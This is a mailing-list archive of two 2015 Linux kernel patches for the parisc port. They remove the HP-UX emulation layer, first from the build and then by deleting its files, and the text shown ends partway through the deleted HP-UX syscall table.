X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: hpux - Do not compile hpux subdirectory
Date: Mon, 16 Feb 2015 22:18:24 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20150216211824.GA1772@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424121526 4696 80.91.229.3 (16 Feb 2015 21:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 21:18:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 22:18:39 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNT3q-0000UH-TA
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 22:18:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751158AbbBPVSe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 16:18:34 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:54226 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751082AbbBPVSe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 16:18:34 -0500
Original-Received: from ls3530.box ([84.173.26.201]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LgqEs-1XkZGe1R5S-00oES6; Mon, 16 Feb 2015 22:18:26
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:b2TNaxLahXcH5cJ8paqnTm7vi/+S85OVajJ1/tqut5cS5T4a7Va
 j9Y/dVQYy11mQ6+Rl9GcN4k1AFwhySUPtpjbbA9gcs4EKQx3Q682ERg0jF6zEX3m2UdW6RU
 le/L+VVlFxa6ju68ErNKOd3b79OcluBDTDHMXAO2WMvr1qwkQVAmJl7gDzzmBnHT0LzgfoX
 S73TUbeWkITL/qNZQww5w==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25572>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5db8882..91fbb6e 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -84,7 +84,6 @@ head-y			:= arch/parisc/kernel/head.o
 KBUILD_CFLAGS	+= $(cflags-y)
 
 kernel-y			:= mm/ kernel/ math-emu/
-kernel-$(CONFIG_HPUX)		+= hpux/
 
 core-y	+= $(addprefix arch/parisc/, $(kernel-y))
 libs-y	+= arch/parisc/lib/ $(LIBGCC)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: hpux - Delete files in hpux subdirectory
Date: Mon, 16 Feb 2015 22:19:06 +0100
Lines: 2174
Approved: news@gmane.org
Message-ID: <20150216211906.GA1779@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424121569 5180 80.91.229.3 (16 Feb 2015 21:19:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 21:19:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 22:19:18 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNT4X-0000UH-70
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 22:19:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751231AbbBPVTQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 16:19:16 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:63890 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751082AbbBPVTP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 16:19:15 -0500
Original-Received: from ls3530.box ([84.173.26.201]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MXIov-1Y2n052Tjh-00WBLQ; Mon, 16 Feb 2015 22:19:10
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ZTK8FTfwPulZgCEMO7TAoRsj56JzUgmt5LllFsVJeZxLbLT2lFF
 kbj5IjCdMCI2NFQ65XBB/eal2DSpEH9gf9Ar27CdgAJKBA/tTUXJ/kmAhrILqdJmYaYOxVd
 YesQB4O7wbNLV+912kx5EyvdSM3WLw1g3QGsG/rMfiPT9yfndQ6GQLQCPyBI0cQw/DiHfFf
 nfQPdtok9udC6P7IS7maQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25573
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25573>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/hpux/Makefile b/arch/parisc/hpux/Makefile
deleted file mode 100644
index 1048fb6..0000000
--- a/arch/parisc/hpux/Makefile
+++ /dev/null
@@ -1,5 +0,0 @@
-#
-# Makefile for HPUX emulation
-#
-
-obj-y := entry_hpux.o gate.o wrappers.o fs.o ioctl.o sys_hpux.o
diff --git a/arch/parisc/hpux/entry_hpux.S b/arch/parisc/hpux/entry_hpux.S
deleted file mode 100644
index d15a413..0000000
--- a/arch/parisc/hpux/entry_hpux.S
+++ /dev/null
@@ -1,546 +0,0 @@
-/*    syscall table for HPUX specific syscalls
- *
- *    Linux/PA-RISC Project (http://www.parisc-linux.org/)
- *    Copyright (C) 1999 Matthew Wilcox <willy at debian . org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#include <asm/unistd.h>
-#include <asm/assembly.h>
-#include <linux/sys.h>
-#include <linux/linkage.h>
-
-#define ENTRY_NAME(_name_) ASM_ULONG_INSN _name_
-
-	.section .rodata,"a"
-	.import hpux_unimplemented_wrapper
-ENTRY(hpux_call_table)
-	ENTRY_NAME(sys_ni_syscall)	/* 0 */
-	ENTRY_NAME(sys_exit)
-	ENTRY_NAME(hpux_fork_wrapper)
-	ENTRY_NAME(sys_read)
-	ENTRY_NAME(sys_write)
-	ENTRY_NAME(sys_open)	/* 5 */
-	ENTRY_NAME(sys_close)
-	ENTRY_NAME(hpux_wait)
-	ENTRY_NAME(sys_creat)
-	ENTRY_NAME(sys_link)
-	ENTRY_NAME(sys_unlink)	/* 10 */
-	ENTRY_NAME(hpux_execv_wrapper)
-	ENTRY_NAME(sys_chdir)
-	ENTRY_NAME(sys_time)
-	ENTRY_NAME(sys_mknod)
-	ENTRY_NAME(sys_chmod)	/* 15 */
-	ENTRY_NAME(sys_chown)
-	ENTRY_NAME(hpux_brk)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_lseek)
-	ENTRY_NAME(sys_getpid)	/* 20 */
-	ENTRY_NAME(hpux_mount)
-	ENTRY_NAME(sys_oldumount)
-	ENTRY_NAME(sys_setuid)
-	ENTRY_NAME(sys_getuid)
-	ENTRY_NAME(sys_stime)	/* 25 */
-	ENTRY_NAME(hpux_ptrace)
-	ENTRY_NAME(sys_alarm)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_pause)
-	ENTRY_NAME(sys_utime)	/* 30 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_access)
-	ENTRY_NAME(hpux_nice)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 35 */
-	ENTRY_NAME(sys_sync)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_newstat)
-	ENTRY_NAME(hpux_setpgrp3)
-	ENTRY_NAME(sys_newlstat)	/* 40 */
-	ENTRY_NAME(sys_dup)
-	ENTRY_NAME(hpux_pipe_wrapper)
-	ENTRY_NAME(sys_times)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 45 */
-	ENTRY_NAME(sys_setgid)
-	ENTRY_NAME(sys_getgid)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 50 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_ioctl)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 55 */
-	ENTRY_NAME(sys_symlink)
-	ENTRY_NAME(hpux_utssys)
-	ENTRY_NAME(sys_readlink)
-	ENTRY_NAME(hpux_execve_wrapper)
-	ENTRY_NAME(sys_umask)	/* 60 */
-	ENTRY_NAME(sys_chroot)
-	ENTRY_NAME(sys_fcntl)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 65 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_sbrk)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 70 */
-	ENTRY_NAME(sys_mmap)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 75 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 80 */
-	ENTRY_NAME(sys_getpgid)
-	ENTRY_NAME(sys_setpgid)
-	ENTRY_NAME(sys_setitimer)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 85 */
-	ENTRY_NAME(sys_getitimer)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_dup2)		/* 90 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_newfstat)
-	ENTRY_NAME(sys_select)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 95 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 100 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 105 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 110 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 115 */
-	ENTRY_NAME(sys_gettimeofday)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 120 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_fchown)
-	ENTRY_NAME(sys_fchmod)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 125 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_rename)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 130 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_sysconf)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 135 */
-	ENTRY_NAME(sys_mkdir)
-	ENTRY_NAME(sys_rmdir)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 140 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_getrlimit)
-	ENTRY_NAME(sys_setrlimit)      /* 145 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 150 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_lockf)      /* 155 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 160 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 165 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 170 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 175 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 180 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_sigprocmask)      /* 185 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 190 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_getdomainname)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 195 */
-	ENTRY_NAME(hpux_statfs)
-	ENTRY_NAME(hpux_fstatfs)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_waitpid)	/* 200 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 205 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 210 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 215 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 220 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 225 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 230 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 235 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 240 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 245 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 250 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 255 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 260 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 265 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 270 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_fchdir)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_accept)		/* 275 */
-	ENTRY_NAME(sys_bind)
-	ENTRY_NAME(sys_connect)
-	ENTRY_NAME(sys_getpeername)
-	ENTRY_NAME(sys_getsockname)
-	ENTRY_NAME(sys_getsockopt)	/* 280 */
-	ENTRY_NAME(sys_listen)
-	ENTRY_NAME(sys_recv)
-	ENTRY_NAME(sys_recvfrom)
-	ENTRY_NAME(sys_recvmsg)
-	ENTRY_NAME(sys_send)		/* 285 */
-	ENTRY_NAME(sys_sendmsg)
-	ENTRY_NAME(sys_sendto)
-	ENTRY_NAME(sys_setsockopt)
-	ENTRY_NAME(sys_shutdown)
-	ENTRY_NAME(sys_socket)		/* 290 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 295 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 300 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 305 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 310 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 315 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 320 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 325 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 330 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_lchown)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_sysfs)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 335 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 340 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 345 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 350 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(sys_nanosleep)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 355 */
-	ENTRY_NAME(hpux_getdents)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 360 */
-	ENTRY_NAME(hpux_fstat64)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 365 */
-	ENTRY_NAME(hpux_lstat64)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_stat64)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 370 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 375 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 380 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_setpgrp)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 385 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 390 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
